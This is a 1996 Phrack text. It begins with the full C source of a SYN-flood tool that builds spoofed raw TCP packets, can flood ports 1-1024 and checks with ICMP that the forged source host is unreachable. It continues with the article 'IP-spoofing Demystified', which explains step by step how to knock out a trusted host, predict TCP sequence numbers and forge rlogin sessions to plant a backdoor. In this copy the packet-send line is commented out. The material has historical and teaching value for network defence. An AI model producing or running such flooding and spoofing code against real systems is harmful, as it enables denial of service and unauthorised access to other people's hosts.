It would appear that flooding a host on every port (with the
infinity switch) has it's drawbacks. So many packets are trying to
make their way to the target host, it seems as though many are
dropped, especially on ethernets. Across the Internet, though, the
problem appears mostly mitigated. The call to usleep appears to fix
this... Coming up is a port scanning option that will find open
ports...
Version History:
6/17/96 beta1: SYN flooding, Cmd line and crude menu, ICMP stuff broken
6/20/96 beta2: Better menu, improved SYN flooding, ICMP fixed... sorta
6/21/96 beta3: Better menu still, fixed SYN flood clogging problem
Fixed some name-lookup problems
6/22/96 beta4: Some loop optimization, ICMP socket stuff changed, ICMP
code fixed
6/23/96 1.0: First real version...
6/25/96 1.1: Cleaned up some stuff, added authentication hooks, fixed up
input routine stuff
7/01/96 1.5: Added daemonizing routine...
This coding project made possible by a grant from the Guild corporation
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <pwd.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <time.h>
#include <linux/signal.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#define BUFLEN 256
#define MENUBUF 64
#define MAXPORT 1024
#define MAXPAK 4096
#define MENUSLEEP 700000
#define FLOODSLEEP 100 /* Ethernet, or WAN? Yur mileage will vary.*/
#define ICMPSLEEP 100
#define ACCESSLIST "/etc/sfaccess.conf"
int HANDLERCODE=1;
int KEEPQUIET=0;
char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"};
void main(argc,argv)
int argc;
char *argv[];
{
void usage(char *);
void menu(int,char *);
void flood(int,unsigned,unsigned,u_short,int);
unsigned nameResolve(char *);
int authenticate(int,char *);
unsigned unreachable,target;
int c,port,amount,sock1,fd;
struct passwd *passEnt;
char t[20],u[20];
if((fd=open(ACCESSLIST,O_RDONLY))<=0){
perror("Cannot open accesslist");
exit(1);
}
setpwent();
passEnt=getpwuid(getuid());
endpwent();
/* Authenticate */
if(!authenticate(fd,passEnt->pw_name)){
fprintf(stderr,"Access Denied, kid\n");
exit(0);
}
/* Open up a RAW socket */
if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
perror("\nHmmm.... socket problems\n");
exit(1);
}
if(argc==1){
menu(sock1,passEnt->pw_name);
exit(0);
}
/* Parse command-line arguments */
while((c=getopt(argc,argv,"8:s:t:p:a"))){
switch(c){
case 's': /* Source (spoofed) host */
unreachable=nameResolve(optarg);
strcpy(u,optarg);
break;
case 't': /* Target host */
target=nameResolve(optarg);
strcpy(t,optarg);
break;
case 'p': /* Target port */
port=atoi(optarg);
break;
case '8': /* infinity switch */
port=0;
break;
case 'a': /* Amount of SYNs to send */
amount=atoi(optarg);
break;
default: /* WTF? */
usage(argv[0]);
}
}
if(!port){
printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1-%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable);
flood(sock1,unreachable,target,0,amount);
}
else{
printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable);
flood(sock1,unreachable,target,port,amount);
}
syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt->pw_name,t,u,port,amount);
printf(werd);
exit(0);
} /* End main */
/*
* Authenticate. Makes sure user is authorized to run program.
*
*/
int authenticate(fd,nameID)
int fd;
char *nameID;
{
char buf[BUFLEN+1];
char workBuffer[10];
int i=0,j=0;
while(read(fd,buf,sizeof(buf))){
if(!(strstr(buf,nameID))){
close(fd);
syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID);
return(0);
}
else {
close(fd);
syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid());
return(1);
}
}
}
/*
* Flood. This is main workhorse of the program. IP and TCP header
* construction occurs here, as does flooding.
*/
void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){
unsigned short in_cksum(unsigned short *,int);
struct packet{
struct iphdr ip;
struct tcphdr tcp;
}packet;
struct pseudo_header{ /* For TCP header checksum */
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;
struct sockaddr_in sin; /* IP address information */
register int i=0,j=0; /* Counters */
int tsunami=0; /* flag */
unsigned short sport=161+getpid();
if(!dport){
tsunami++; /* GOD save them... */
fprintf(stderr,"\nTSUNAMI!\n");
fprintf(stderr,"\nflooding port:");
}
/* Setup the sin struct with addressing information */
sin.sin_family=AF_INET; /* Internet address family */
sin.sin_port=sport; /* Source port */
sin.sin_addr.s_addr=dadd; /* Dest. address */
/* Packet assembly begins here */
/* Fill in all the TCP header information */
packet.tcp.source=sport; /* 16-bit Source port number */
packet.tcp.dest=htons(dport); /* 16-bit Destination port */
packet.tcp.seq=49358353+getpid(); /* 32-bit Sequence Number */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
/* Fill in all the IP header information */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=sadd; /* 32-bit Source Address */
packet.ip.daddr=dadd; /* 32-bit Destination Address */
/* Psuedo-headers needed for TCP hdr checksum (they
do not change and do not need to be in the loop) */
pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);
while(1){ /* Main loop */
if(tsunami){
if(j==MAXPORT){
tsunami=0;
break;
}
packet.tcp.dest=htons(++j);
fprintf(stderr,"%d",j);
fprintf(stderr,"%c",0x08);
if(j>=10)fprintf(stderr,"%c",0x08);
if(j>=100)fprintf(stderr,"%c",0x08);
if(j>=1000)fprintf(stderr,"%c",0x08);
if(j>=10000)fprintf(stderr,"%c",0x08);
}
for(i=0;i<amount;i++){ /* Flood loop */
/* Certian header fields should change */
packet.tcp.source++; /* Source port inc */
packet.tcp.seq++; /* Sequence Number inc */
packet.tcp.check=0; /* Checksum will need to change */
packet.ip.id++; /* ID number */
packet.ip.check=0; /* Checksum will need to change */
/* IP header checksum */
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
/* Setup TCP headers for checksum */
bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
/* TCP header checksum */
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
/* As it turns out, if we blast packets too fast, many
get dropped, as the receiving kernel can't cope (at
least on an ethernet). This value could be tweaked
prolly, but that's up to you for now... */
usleep(FLOODSLEEP);
/* This is where we sit back and watch it all come together */
/*sendto(sock,&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));*/
if(!tsunami&&!KEEPQUIET)fprintf(stderr,".");
}
if(!tsunami)break;
}
}
/*
* IP Family checksum routine (from UNP)
*/
unsigned short in_cksum(unsigned short *ptr,int nbytes){
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
/*
* Converts IP addresses
*/
unsigned nameResolve(char *hostname){
struct in_addr addr;
struct hostent *hostEnt;
if((addr.s_addr=inet_addr(hostname))==-1){
if(!(hostEnt=gethostbyname(hostname))){
fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
exit(0);
}
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}
/*
* Menu function. Nothing suprising here. Except that one thing.
*/
void menu(sock1,nameID)
int sock1;
char *nameID;
{
int slickPing(int,int,char *);
void flood(int,unsigned,unsigned,u_short,int);
unsigned nameResolve(char *);
void demon(int,char *,char *,int,int,int,int);
int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl;
char optflags[7]={0}; /* So we can keep track of the options */
static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0};
while(menuLoop){
printf("\n\n\t\t\t[ SYNflood Menu ]\n\t\t\t [ daemon9 ]\n\n");
if(!optflags[0])printf("1\t\tEnter target host\n");
else printf("[1]\t\tTarget:\t\t\t%s\n",target);
if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n");
else printf("[2]\t\tUnreachable:\t\t%s\n",unreach);
if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n");
else printf("[3]\t\tUnreachable host:\tverified unreachable\n");
if(!optflags[3])printf("4\t\tEnter port number to flood\n");
else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port);
else printf("[4]\t\tFlooding:\t\t1-1024\n");
if(!optflags[4])printf("5\t\tEnter number of SYNs\n");
else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount);
printf("\n6\t\tQuit\n");
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n");
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n");
printf("\n\n\n\n\n\n\n\n\n\n\n\n");
fgets(tmp,BUFLEN/2,stdin); /* tempered input */
switch(atoi(tmp)){
case 1:
printf("[hostname]-> ");
fgets(target,MENUBUF,stdin);
i=0;
if(target[0]=='\n')break;
while(target[i]!='\n')i++;
target[i]=0;
optflags[0]=1;
break;
case 2:
printf("[hostname]-> ");
fgets(unreach,MENUBUF,stdin);
i=0;
if(unreach[0]=='\n')break;
while(unreach[i]!='\n')i++;
unreach[i]=0;
optflags[1]=1;
break;
case 3:
if(!optflags[1]){
fprintf(stderr,"Um, enter a host first\n");
usleep(MENUSLEEP);
break;
}
/* Raw ICMP socket */
if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){
perror("\nHmmm.... socket problems\n");
exit(1);
}
printf("[number of ICMP_ECHO's]-> ");
fgets(tmp,MENUBUF,stdin);
if(!(icmpAmt=atoi(tmp)))break;
if(slickPing(icmpAmt,sock2,unreach)){
fprintf(stderr,"Host is reachable... Pick a new one\n");
sleep(1);
optflags[1]=0;
optflags[2]=0;
HANDLERCODE=1;
close(sock2);
break;
}
optflags[2]=1;
close(sock2);
break;
case 4:
printf("[port number]-> ");
fgets(tmp,MENUBUF,stdin);
port=atoi(tmp);
optflags[3]=1;
break;
case 5:
printf("[number of SYNs]-> ");
fgets(tmp,MENUBUF,stdin);
if(!(amount=atoi(tmp)))break;
optflags[4]=1;
break;
case 6:
menuLoop--;
break;
case 7:
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount);
flood(sock1,nameResolve(unreach),nameResolve(target),port,amount);
menuLoop--;
}
else{
fprintf(stderr,"Illegal option --try again\n");
usleep(MENUSLEEP);
}
break;
case 8:
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
if(!port){
fprintf(stderr,"Cannot set infinity flag in daemon mode. Sorry.\n");
usleep(MENUSLEEP*2);
break;
}
printf("[packet sending interval in seconds {80}]-> ");
fgets(tmp,MENUBUF,stdin);
if(!(interval=atoi(tmp)))interval=80;
printf("[time for daemon to live in whole hours(0=forever)]-> ");
fgets(tmp,MENUBUF,stdin);
ttl=atoi(tmp);
syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl);
demon(sock1,unreach,target,port,amount,interval,ttl);
exit(0);
}
else{
fprintf(stderr,"Illegal option --try again\n");
usleep(MENUSLEEP);
}
break;
default:
fprintf(stderr,"Illegal option --try again\n");
usleep(MENUSLEEP);
}
}
printf("\n");
printf(werd);
return;
}
/*
* SlickPing. A quick and dirty ping hack. Sends <amount> ICMP_ECHO
* packets and waits for a reply on any one of them... It has to check
* to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP
* sockets get ALL the ICMP traffic on a host, and someone could be
* pinging some other host and we could get that ECHOREPLY and foul
* things up for us.
*/
int slickPing(amount,sock,dest)
int amount,sock;
char *dest;
{
int alarmHandler();
unsigned nameResolve(char *);
register int retcode,j=0;
struct icmphdr *icmp;
struct sockaddr_in sin;
unsigned char sendICMPpak[MAXPAK]={0};
unsigned short pakID=getpid()&0xffff;
struct ippkt{
struct iphdr ip;
struct icmphdr icmp;
char buffer[MAXPAK];
}pkt;
bzero((char *)&sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=nameResolve(dest);
/* ICMP Packet assembly */
/* We let the kernel create our IP header as it is legit */
icmp=(struct icmphdr *)sendICMPpak;
icmp->type=ICMP_ECHO; /* Requesting an Echo */
icmp->code=0; /* 0 for ICMP ECHO/ECHO_REPLY */
icmp->un.echo.id=pakID; /* To identify upon return */
icmp->un.echo.sequence=0; /* Not used for us */
icmp->checksum=in_cksum((unsigned short *)icmp,64);
fprintf(stderr,"sending ICMP_ECHO packets: ");
for(;j<amount;j++){
usleep(ICMPSLEEP); /* For good measure */
retcode=sendto(sock,sendICMPpak,64,0,(struct sockaddr *)&sin,sizeof(sin));
if(retcode<0||retcode!=64)
if(retcode<0){
perror("ICMP sendto err");
exit(1);
}
else fprintf(stderr,"Only wrote %d bytes",retcode);
else fprintf(stderr,".");
}
HANDLERCODE=1;
signal(SIGALRM,alarmHandler); /* catch the ALARM and handle it */
fprintf(stderr,"\nSetting alarm timeout for 10 seconds...\n");
alarm(10); /* ALARM is set b/c read() will block forever if no */
while(1){ /* packets arrive... (which is what we want....) */
read(sock,(struct ippkt *)&pkt,MAXPAK-1);
if(pkt.icmp.type==ICMP_ECHOREPLY&&icmp->un.echo.id==pakID){
if(!HANDLERCODE)return(0);
return(1);
}
}
}
/*
* SIGALRM signal handler. Souper simple.
*/
int alarmHandler(){
HANDLERCODE=0; /* shame on me for using global vars */
alarm(0);
signal(SIGALRM,SIG_DFL);
return(0);
}
/*
* Usage function...
*/
void usage(nomenclature)
char *nomenclature;
{
fprintf(stderr,"\n\nUSAGE: %s \n\t-s unreachable_host \n\t-t target_host \n\t-p port [-8 (infinity switch)] \n\t-a amount_of_SYNs\n",nomenclature);
exit(0);
}
/*
* Demon. Backgrounding procedure and looping stuff.
*/
void demon(sock,unreachable,target,port,amount,interval,ttl)
int sock;
char *unreachable;
char *target;
int port;
int amount;
int interval;
int ttl;
{
fprintf(stderr,"\nSorry Daemon mode not available in this version\n");
exit(0);
}
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 14 of 18
[ IP-spoofing Demystified ]
(Trust-Relationship Exploitation)
by daemon9 / route / infinity
for Phrack Magazine
June 1996 Guild Productions, kid
comments to route@infonexus.com
The purpose of this paper is to explain IP-spoofing to the
masses. It assumes little more than a working knowledge of Unix and
TCP/IP. Oh, and that yur not a moron...
IP-spoofing is complex technical attack that is made up of
several components. (In actuality, IP-spoofing is not the attack, but
a step in the attack. The attack is actually trust-relationship
exploitation. However, in this paper, IP-spoofing will refer to the
whole attack.) In this paper, I will explain the attack in detail,
including the relevant operating system and networking information.
[SECTION I. BACKGROUND INFORMATION]
--[ The Players ]--
A: Target host
B: Trusted host
X: Unreachable host
Z: Attacking host
(1)2: Host 1 masquerading as host 2
--[ The Figures ]--
There are several figures in the paper and they are to be
interpreted as per the following example:
ick host a control host b
1 A ---SYN---> B
tick: A tick of time. There is no distinction made as to *how*
much time passes between ticks, just that time passes. It's generally
not a great deal.
host a: A machine particpating in a TCP-based conversation.
control: This field shows any relevant control bits set in the TCP
header and the direction the data is flowing
host b: A machine particpating in a TCP-based conversation.
In this case, at the first refrenced point in time host a is sending
a TCP segment to host b with the SYN bit on. Unless stated, we are
generally not concerned with the data portion of the TCP segment.
--[ Trust Relationships ]--
In the Unix world, trust can be given all too easily. Say you
have an account on machine A, and on machine B. To facilitate going
betwixt the two with a minimum amount of hassle, you want to setup a
full-duplex trust relationship between them. In your home directory
at A you create a .rhosts file: `echo "B username" > ~/.rhosts` In
your home directory at B you create a .rhosts file: `echo "A username"
> ~/.rhosts` (Alternately, root can setup similar rules in
/etc/hosts.equiv, the difference being that the rules are hostwide,
rather than just on an individual basis.) Now, you can use any of the
r* commands without that annoying hassle of password authentication.
These commands will allow address-based authentication, which will
grant or deny access based off of the IP address of the service
requestor.
--[ Rlogin ]--
Rlogin is a simple client-server based protocol that uses TCP
as it's transport. Rlogin allows a user to login remotely from one
host to another, and, if the target machine trusts the other, rlogin
will allow the convienience of not prompting for a password. It will
instead have authenticated the client via the source IP address. So,
from our example above, we can use rlogin to remotely login to A from
B (or vice-versa) and not be prompted for a password.
--[ Internet Protocol ]--
IP is the connectionless, unreliable network protocol in the
TCP/IP suite. It has two 32-bit header fields to hold address
information. IP is also the busiest of all the TCP/IP protocols as
almost all TCP/IP traffic is encapsulated in IP datagrams. IP's job
is to route packets around the network. It provides no mechanism for
reliability or accountability, for that, it relies on the upper
layers. IP simply sends out datagrams and hopes they make it intact.
If they don't, IP can try to send an ICMP error message back to the
source, however this packet can get lost as well. (ICMP is Internet
Control Message Protocol and it is used to relay network conditions
and different errors to IP and the other layers.) IP has no means to
guarantee delivery. Since IP is connectionless, it does not maintain
any connection state information. Each IP datagram is sent out without
regard to the last one or the next one. This, along with the fact that
it is trivial to modify the IP stack to allow an arbitrarily choosen IP
address in the source (and destination) fields make IP easily subvertable.
--[ Transmission Control Protocol ]--
TCP is the connection-oriented, reliable transport protocol
in the TCP/IP suite. Connection-oriented simply means that the two
hosts participating in a discussion must first establish a connection
before data may change hands. Reliability is provided in a number of
ways but the only two we are concerned with are data sequencing and
acknowledgement. TCP assigns sequence numbers to every segment and
acknowledges any and all data segments recieved from the other end.
(ACK's consume a sequence number, but are not themselves ACK'd.)
This reliability makes TCP harder to fool than IP.
--[ Sequence Numbers, Acknowledgements and other flags ]--
Since TCP is reliable, it must be able to recover from
lost, duplicated, or out-of-order data. By assigning a sequence
number to every byte transfered, and requiring an acknowledgement from
the other end upon receipt, TCP can guarantee reliable delivery. The
receiving end uses the sequence numbers to ensure proper ordering of
the data and to eliminate duplicate data bytes.
TCP sequence numbers can simply be thought of as 32-bit
counters. They range from 0 to 4,294,967,295. Every byte of
data exchanged across a TCP connection (along with certain flags)
is sequenced. The sequence number field in the TCP header will
contain the sequence number of the *first* byte of data in the
TCP segment. The acknowledgement number field in the TCP header
holds the value of next *expected* sequence number, and also
acknowledges *all* data up through this ACK number minus one.
TCP uses the concept of window advertisement for flow
control. It uses a sliding window to tell the other end how much
data it can buffer. Since the window size is 16-bits a receiving TCP
can advertise up to a maximum of 65535 bytes. Window advertisement
can be thought of an advertisment from one TCP to the other of how
high acceptable sequence numbers can be.
Other TCP header flags of note are RST (reset), PSH (push)
and FIN (finish). If a RST is received, the connection is
immediately torn down. RSTs are normally sent when one end
receives a segment that just doesn't jive with current connection
(we will encounter an example below). The PSH flag tells the
reciever to pass all the data is has queued to the aplication, as
soon as possible. The FIN flag is the way an application begins a
graceful close of a connection (connection termination is a 4-way
process). When one end recieves a FIN, it ACKs it, and does not
expect to receive any more data (sending is still possible, however).
--[ TCP Connection Establishment ]--
In order to exchange data using TCP, hosts must establish a
a connection. TCP establishes a connection in a 3 step process called
the 3-way handshake. If machine A is running an rlogin client and
wishes to conect to an rlogin daemon on machine B, the process is as
follows:
fig(1)
1 A ---SYN---> B
2 A <---SYN/ACK--- B
3 A ---ACK---> B
At (1) the client is telling the server that it wants a connection.
This is the SYN flag's only purpose. The client is telling the
server that the sequence number field is valid, and should be checked.
The client will set the sequence number field in the TCP header to
it's ISN (initial sequence number). The server, upon receiving this
segment (2) will respond with it's own ISN (therefore the SYN flag is
on) and an ACKnowledgement of the clients first segment (which is the
client's ISN+1). The client then ACK's the server's ISN (3). Now,
data transfer may take place.
--[ The ISN and Sequence Number Incrementation ]--
It is important to understand how sequence numbers are
initially choosen, and how they change with respect to time. The
initial sequence number when a host is bootstraped is initialized
to 1. (TCP actually calls this variable 'tcp_iss' as it is the initial
*send* sequence number. The other sequence number variable,
'tcp_irs' is the initial *receive* sequence number and is learned
during the 3-way connection establishment. We are not going to worry
about the distinction.) This practice is wrong, and is acknowledged
as so in a comment the tcp_init() function where it appears. The ISN
is incremented by 128,000 every second, which causes the 32-bit ISN
counter to wrap every 9.32 hours if no connections occur. However,
each time a connect() is issued, the counter is incremented by
64,000.
One important reason behind this predictibility is to
minimize the chance that data from an older stale incarnation
(that is, from the same 4-tuple of the local and remote
IP-addresses TCP ports) of the current connection could arrive
and foul things up. The concept of the 2MSL wait time applies
here, but is beyond the scope of this paper. If sequence
numbers were choosen at random when a connection arrived, no
guarantees could be made that the sequence numbers would be different
from a previous incarnation. If some data that was stuck in a
routing loop somewhere finally freed itself and wandered into the new
incarnation of it's old connection, it could really foul things up.
--[ Ports ]--
To grant simultaneous access to the TCP module, TCP provides
a user interface called a port. Ports are used by the kernel to
identify network processes. These are strictly transport layer
entities (that is to say that IP could care less about them).
Together with an IP address, a TCP port provides provides an endpoint
for network communications. In fact, at any given moment *all*
Internet connections can be described by 4 numbers: the source IP
address and source port and the destination IP address and destination
port. Servers are bound to 'well-known' ports so that they may be
located on a standard port on different systems. For example, the
rlogin daemon sits on TCP port 513.
[SECTION II. THE ATTACK]
...The devil finds work for idle hands....
--[ Briefly... ]--
IP-spoofing consists of several steps, which I will
briefly outline here, then explain in detail. First, the target host
is choosen. Next, a pattern of trust is discovered, along with a
trusted host. The trusted host is then disabled, and the target's TCP
sequence numbers are sampled. The trusted host is impersonated, the
sequence numbers guessed, and a connection attempt is made to a
service that only requires address-based authentication. If
successful, the attacker executes a simple command to leave a
backdoor.
--[ Needful Things ]--
There are a couple of things one needs to wage this attack:
(1) brain, mind, or other thinking device
(1) target host
(1) trusted host
(1) attacking host (with root access)
(1) IP-spoofing software
Generally the attack is made from the root account on the attacking
host against the root account on the target. If the attacker is
going to all this trouble, it would be stupid not to go for root.
(Since root access is needed to wage the attack, this should not
be an issue.)
--[ IP-Spoofing is a 'Blind Attack' ]--
One often overlooked, but critical factor in IP-spoofing
is the fact that the attack is blind. The attacker is going to be
taking over the identity of a trusted host in order to subvert the
security of the target host. The trusted host is disabled using the
method described below. As far as the target knows, it is carrying on
a conversation with a trusted pal. In reality, the attacker is
sitting off in some dark corner of the Internet, forging packets
puportedly from this trusted host while it is locked up in a denial
of service battle. The IP datagrams sent with the forged IP-address
reach the target fine (recall that IP is a connectionless-oriented
protocol-- each datagram is sent without regard for the other end)
but the datagrams the target sends back (destined for the trusted
host) end up in the bit-bucket. The attacker never sees them. The
intervening routers know where the datagrams are supposed to go. They
are supposed to go the trusted host. As far as the network layer is
concerned, this is where they originally came from, and this is where
responses should go. Of course once the datagrams are routed there,
and the information is demultiplexed up the protocol stack, and
reaches TCP, it is discarded (the trusted host's TCP cannot respond--
see below). So the attacker has to be smart and *know* what was sent,
and *know* what reponse the server is looking for. The attacker
cannot see what the target host sends, but she can *predict* what it
will send; that coupled with the knowledge of what it *will* send,
allows the attacker to work around this blindness.
--[ Patterns of Trust ]--
After a target is choosen the attacker must determine the
patterns of trust (for the sake of argument, we are going to assume
the target host *does* in fact trust somebody. If it didn't, the
attack would end here). Figuring out who a host trusts may or may
not be easy. A 'showmount -e' may show where filesystems are
exported, and rpcinfo can give out valuable information as well.
If enough background information is known about the host, it should
not be too difficult. If all else fails, trying neighboring IP
addresses in a brute force effort may be a viable option.
--[ Trusted Host Disabling Using the Flood of Sins ]--
Once the trusted host is found, it must be disabled. Since
the attacker is going to impersonate it, she must make sure this host
cannot receive any network traffic and foul things up. There are
many ways of doing this, the one I am going to discuss is TCP SYN
flooding.
A TCP connection is initiated with a client issuing a
request to a server with the SYN flag on in the TCP header. Normally
the server will issue a SYN/ACK back to the client identified by the
32-bit source address in the IP header. The client will then send an
ACK to the server (as we saw in figure 1 above) and data transfer
can commence. There is an upper limit of how many concurrent SYN
requests TCP can process for a given socket, however. This limit
is called the backlog, and it is the length of the queue where
incoming (as yet incomplete) connections are kept. This queue limit
applies to both the number of imcomplete connections (the 3-way
handshake is not complete) and the number of completed connections
that have not been pulled from the queue by the application by way of
the accept() system call. If this backlog limit is reached, TCP will
silently discard all incoming SYN requests until the pending
connections can be dealt with. Therein lies the attack.
The attacking host sends several SYN requests to the TCP port
she desires disabled. The attacking host also must make sure that
the source IP-address is spoofed to be that of another, currently
unreachable host (the target TCP will be sending it's response to
this address. (IP may inform TCP that the host is unreachable,
but TCP considers these errors to be transient and leaves the
resolution of them up to IP (reroute the packets, etc) effectively
ignoring them.) The IP-address must be unreachable because the
attacker does not want any host to recieve the SYN/ACKs that will be
coming from the target TCP (this would result in a RST being sent to
the target TCP, which would foil our attack). The process is as
follows:
fig(2)
1 Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
...
2 X <---SYN/ACK--- B
X <---SYN/ACK--- B
...
3 X <---RST--- B
At (1) the attacking host sends a multitude of SYN requests to the
target (remember the target in this phase of the attack is the
trusted host) to fill it's backlog queue with pending connections.
(2) The target responds with SYN/ACKs to what it believes is the
source of the incoming SYNs. During this time all further requests
to this TCP port will be ignored.
Different TCP implementations have different backlog sizes.
BSD generally has a backlog of 5 (Linux has a backlog of 6). There
is also a 'grace' margin of 3/2. That is, TCP will allow up to
backlog*3/2+1 connections. This will allow a socket one connection
even if it calls listen with a backlog of 0.
AuthNote: [For a much more in-depth treatment of TCP SYN
flooding, see my definitive paper on the subject. It covers the
whole process in detail, in both theory, and practice. There is
robust working code, a statistical analysis, and a legnthy paper.
Look for it in issue 49 of Phrack. -daemon9 6/96]
--[ Sequence Number Sampling and Prediction ]--
Now the attacker needs to get an idea of where in the 32-bit
sequence number space the target's TCP is. The attacker connects to
a TCP port on the target (SMTP is a good choice) just prior to launching
the attack and completes the three-way handshake. The process is
exactly the same as fig(1), except that the attacker will save the
value of the ISN sent by the target host. Often times, this process is
repeated several times and the final ISN sent is stored. The attacker
needs to get an idea of what the RTT (round-trip time) from the target
to her host is like. (The process can be repeated several times, and an
average of the RTT's is calculated.) The RTT is necessary in being
able to accuratly predict the next ISN. The attacker has the baseline
(the last ISN sent) and knows how the sequence numbers are incremented
(128,000/second and 64,000 per connect) and now has a good idea of
how long it will take an IP datagram to travel across the Internet to
reach the target (approximately half the RTT, as most times the
routes are symmetrical). After the attacker has this information, she
immediately proceeds to the next phase of the attack (if another TCP
connection were to arrive on any port of the target before the
attacker was able to continue the attack, the ISN predicted by the
attacker would be off by 64,000 of what was predicted).
When the spoofed segment makes it's way to the target,
several different things may happen depending on the accuracy of
the attacker's prediction:
- If the sequence number is EXACTly where the receiving TCP expects
it to be, the incoming data will be placed on the next available
position in the receive buffer.
- If the sequence number is LESS than the expected value the data
byte is considered a retransmission, and is discarded.
- If the sequence number is GREATER than the expected value but
still within the bounds of the receive window, the data byte is
considered to be a future byte, and is held by TCP, pending the
arrival of the other missing bytes. If a segment arrives with a
sequence number GREATER than the expected value and NOT within the
bounds of the receive window the segment is dropped, and TCP will
send a segment back with the *expected* sequence number.
--[ Subversion... ]--
Here is where the main thrust of the attack begins:
fig(3)
1 Z(b) ---SYN---> A
2 B <---SYN/ACK--- A
3 Z(b) ---ACK---> A
4 Z(b) ---PSH---> A
[...]
The attacking host spoofs her IP address to be that of the trusted
host (which should still be in the death-throes of the D.O.S. attack)
and sends it's connection request to port 513 on the target (1). At
(2), the target responds to the spoofed connection request with a
SYN/ACK, which will make it's way to the trusted host (which, if it
*could* process the incoming TCP segment, it would consider it an
error, and immediately send a RST to the target). If everything goes
according to plan, the SYN/ACK will be dropped by the gagged trusted
host. After (1), the attacker must back off for a bit to give the
target ample time to send the SYN/ACK (the attacker cannot see this
segment). Then, at (3) the attacker sends an ACK to the target with
the predicted sequence number (plus one, because we're ACKing it).
If the attacker is correct in her prediction, the target will accept
the ACK. The target is compromised and data transfer can
commence (4).
